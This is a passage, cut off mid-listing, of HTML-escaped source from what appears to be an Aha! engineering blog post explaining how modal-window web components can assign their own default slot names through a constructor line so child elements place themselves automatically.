&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Header stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Body stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Footer stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How do we accomplish that?&lt;/p&gt;
&lt;h2&gt;The solution&lt;/h2&gt;
&lt;p&gt;After some thought, it occurred to us that the issue with the &lt;code&gt;slot&lt;/code&gt; declaration in web components is that while it tells us &lt;strong&gt;where&lt;/strong&gt; the contents of a slot get appended, it doesn&apos;t tell us anything about &lt;strong&gt;what&lt;/strong&gt; that content should be.&lt;/p&gt;
&lt;p&gt;But what if it did? Things like a &lt;code&gt;&amp;#x3C;modal-header&gt;&lt;/code&gt; component really only ever make sense inside a &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt; component, so why don&apos;t they just automatically tell the parent &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt; where they belong?&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// ----- JAVASCRIPT -----&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalHeader&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hasAttribute&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;slot&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;header&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalBody&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hasAttribute&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;slot&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;body&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalFooter&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hasAttribute&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;slot&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;footer&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- HTML --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Header stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Body stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Footer stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In each individual component we check for the presence of a user-defined slot value first to ensure that the user-defined slot value is is always respected. If they&apos;ve left it undefined we automatically default to a value which says &lt;strong&gt;where&lt;/strong&gt; we want this component to appear in its parent component.&lt;/p&gt;
&lt;p&gt;By adding this simple line, any &lt;code&gt;&amp;#x3C;modal-header&gt;&lt;/code&gt;, &lt;code&gt;&amp;#x3C;modal-body&gt;&lt;/code&gt;, or &lt;code&gt;&amp;#x3C;modal-footer&gt;&lt;/code&gt; that is added to a page will automatically slot itself into the correct slot within its parent &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As a bonus, any future component that uses one of these components as its base class will also get slotted into the correct slot within the parent &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// ----- JAVASCRIPT -----&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FancyModalHeader&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalHeader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- HTML --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;fancy-modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Fancy header stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;fancy-modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Body stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Footer stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Potential &quot;gotchas&quot;&lt;/h2&gt;
&lt;p&gt;Because our web components now automatically define a &lt;code&gt;slot&lt;/code&gt; in which they expect to exist, if you ever need a component to show in the default slot you&apos;ll have to explicitly specify it via &lt;code&gt;&amp;#x3C;modal-body slot=&quot;&quot;&gt;&lt;/code&gt;. While a bit unusual, it&apos;s unlikely that a developer will intentionally want a specific component to exist somewhere that you did not intend, so we feel the extra pain is justified.&lt;/p&gt;
&lt;h2&gt;Closing thoughts&lt;/h2&gt;
&lt;p&gt;While this is a pretty simple technique, we feel it is a nice improvement in the elegance of the &quot;API&quot; we can present with our web components.&lt;/p&gt;
&lt;p&gt;We are using web components to give extension developers a way to match the look and feel of the rest of Aha! Develop.. Learn more about Aha! Develop and how you can request access so your team can start using it: &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;https://www.aha.io/develop/overview&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Final code&lt;/h2&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// ----- JAVASCRIPT -----&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalWindow&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          display: inline-flex;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          flex-direction: column;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          border: 1px solid gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          box-shadow: 0 0.8rem 0.8rem gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot name=&quot;header&quot;&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot name=&quot;body&quot;&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot name=&quot;footer&quot;&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalHeader&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hasAttribute&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;slot&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;header&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          background: #ddd;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          border-bottom: 1px solid gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          padding: 0.5rem;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
